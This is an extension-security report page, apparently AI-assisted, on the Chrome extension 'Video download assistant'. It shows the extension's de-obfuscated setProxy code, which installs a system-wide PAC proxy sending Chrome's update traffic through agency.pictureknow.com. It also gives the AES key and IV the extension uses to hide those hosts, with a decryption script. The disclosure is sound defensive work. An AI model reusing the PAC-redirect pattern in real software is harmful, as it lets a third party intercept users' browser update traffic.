Is Video download assistant safe?

High risk

Video download assistant injects a PAC proxy to route Chrome's extension update traffic through a hardcoded third-party server.

When an update is detected via api.pictureknow.com, the extension sets a browser-wide PAC proxy that redirects requests to clients2.google.com through agency.pictureknow.com. The proxy is active only during the update window and is removed afterward. The extension also monitors response headers across all browser requests to catalog media stream URLs, and fetches DOM injection templates from its server to insert coupon elements into Taobao, Tmall, and JD.com pages.

tomxuxuv1.2.9Chrome Web Store
72Risk
Who publishes it

tomxuxu - 12 other listings from the same operator, 4 of them carrying a finding

What this publisher told the store about itself, and the other listings that told it the same thing.

Publisher
tomxuxu

AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.

Publishers can request a review.

Findings

Extension reroutes Chrome's update channel through a third-party proxy

HighunwantedCWE-506Dynamic sandbox

This extension can install a system-wide PAC proxy routing Chrome's update traffic through agency.pictureknow.com.

What actually happens

You did this

The extension's background worker periodically checks a remote server to see whether a newer build exists.

The check runs on a recurring alarm and queries api.pictureknow.com for a version number.

The extension did this

When a newer build is reported and Chrome's update host is unreachable, the extension installs a browser proxy that sends Chrome's update traffic through a third-party server.

A PAC script is installed via chrome.proxy.settings at regular (system-wide) scope, routing clients2.google.com and clients2.googleusercontent.com through agency.pictureknow.com, then removed after the check completes.

When this fires

Every 3 hours

A chrome.alarms timer named 'check-update' re-arms every 180 minutes and drives the version check; the version check is also skipped unless at least ~20 hours have elapsed since the last recorded check time.

Why you can't catch this in DevTools

The proxy destination and the two Chrome update hostnames are not stored as plain text in the bundle. They are AES-256-CBC base64 blobs decrypted at runtime, so a casual read of the source does not reveal which hosts are involved. The key is MD5("1=_234a56e7qW") used as a 32-byte UTF-8 key and the IV is the literal string "q23-o6+21z34Q6M8", both taken verbatim from the extension's own code.

Decoded value
server                   = agency.pictureknow.comprotocol                 = httpsextension_update         = clients2.google.comextension_update_address = clients2.googleusercontent.com

The code that does this

setProxy's PAC script routes decrypted Google update hosts to the decrypted proxy host, system-wide.

Readable version
setProxy: function (callback) {  var protocol = O.decrypte(R.protocol);              // "https"  var server   = O.decrypte(R.server);                // "agency.pictureknow.com"  var pac = {    mode: "pac_script",    pacScript: {      data:        'let p = "' + protocol + '";' +        'let s = "' + server + '";' +        'function FindProxyForURL(u, h) {' +        '  if (h == "' + O.decrypte(R.extension_update) + '") {' +            // "clients2.google.com"        '    return p + " " + s + "; DIRECT";' +        '  }' +        '  if (h == "' + O.decrypte(R.extension_update_address) + '") {' +    // "clients2.googleusercontent.com"        '    return p + " " + s + "; DIRECT";' +        '  }' +        '  return "DIRECT";' +        '}'    }  };  chrome.proxy.settings.set({ value: pac, scope: "regular" }, function () {    if (typeof callback === "function") callback();  });}// Effective PAC after decryption:// function FindProxyForURL(u, h) {//   if (h == "clients2.google.com")            return "https agency.pictureknow.com; DIRECT";//   if (h == "clients2.googleusercontent.com") return "https agency.pictureknow.com; DIRECT";//   return "DIRECT";// }

Hosts involved in the update/proxy flow.

    • agency.pictureknow.com

    Decrypted proxy destination. When the PAC script is active, Chrome's extension-update requests to the two Google hosts route through this server instead of directly to Google.

    • api.pictureknow.com

    Version endpoint polled every ~180 minutes (api/v1/version?platform=video_download_helper); a higher reported version is the precondition for the proxy-install path.

    • clients2.google.com

    Chrome's own extension-update host. The PAC script targets this hostname for redirection; a failed direct probe to it is the second gating condition.

    • clients2.googleusercontent.com

    Chrome's extension-update payload host, also targeted by the PAC redirection rule.

Reproduce it yourself

Decrypts the four AES-256-CBC base64 constants embedded in the extension's background.js using the key and IV taken verbatim from the extension's own code, printing the proxy destination and the two Chrome update hostnames the PAC script targets.

Requires
  • Node.js 18+
decrypt-proxy-endpoints.js · js
// Decrypt the AES-256-CBC proxy/update endpoints embedded in background.js.// Key derivation and IV are taken verbatim from the extension's own code://   key = MD5("1=_234a56e7qW")  (32 hex chars, used as a 32-byte UTF-8 AES-256 key)//   iv  = "q23-o6+21z34Q6M8"   (16 bytes)const crypto = require('crypto');const keyHex = crypto.createHash('md5').update('1=_234a56e7qW').digest('hex');const key = Buffer.from(keyHex, 'utf8');             // 32 bytes -> AES-256const iv  = Buffer.from('q23-o6+21z34Q6M8', 'utf8'); // 16 bytesfunction dec(b64) {  const d = crypto.createDecipheriv('aes-256-cbc', key, iv);  return Buffer.concat([d.update(Buffer.from(b64, 'base64')), d.final()]).toString('utf8');}const consts = {  server:                   '3tJZbGljQMTh4BiwNY6RiP0p8zrtpuQog4e7vsoKjmA=',  protocol:                 'LBgCRNF/XO5qKkMQjaUkug==',  extension_update:         'Sn3PKraH7Z6IZjWL4PXJCTzFsmAUJzFH/gYfjLZINqU=',  extension_update_address: 'MaOv/OAu8yLhX7CS0bSH+7blEGf331Zf8e1O7CbHbEY=',};for (const [k, v] of Object.entries(consts)) {  console.log(k.padEnd(26), '=>', dec(v));}// Expected output://   server                     => agency.pictureknow.com//   protocol                   => https//   extension_update           => clients2.google.com//   extension_update_address   => clients2.googleusercontent.com
How to run it
  1. 1Save the script as decrypt-proxy-endpoints.js.
  2. 2Run node decrypt-proxy-endpoints.js.
  3. 3Confirm the printed destinations match the four hosts named above.

Where it sends data

Destinations our analysis observed Video download assistant contacting. Sending data somewhere is not a finding on its own - an extension that syncs your settings has to talk to its own server - but it is where your data can go, and who else it goes to.

  • agency.pictureknow.com

    Video download assistant sends data to agency.pictureknow.com. 9 other extensions we have analyzed send data here.

  • api.pictureknow.com

    Video download assistant sends data to api.pictureknow.com. 4 other extensions we have analyzed send data here.

Updated 15 October 2026gnnfgamcecifdmmdpbppjhanfllffmdn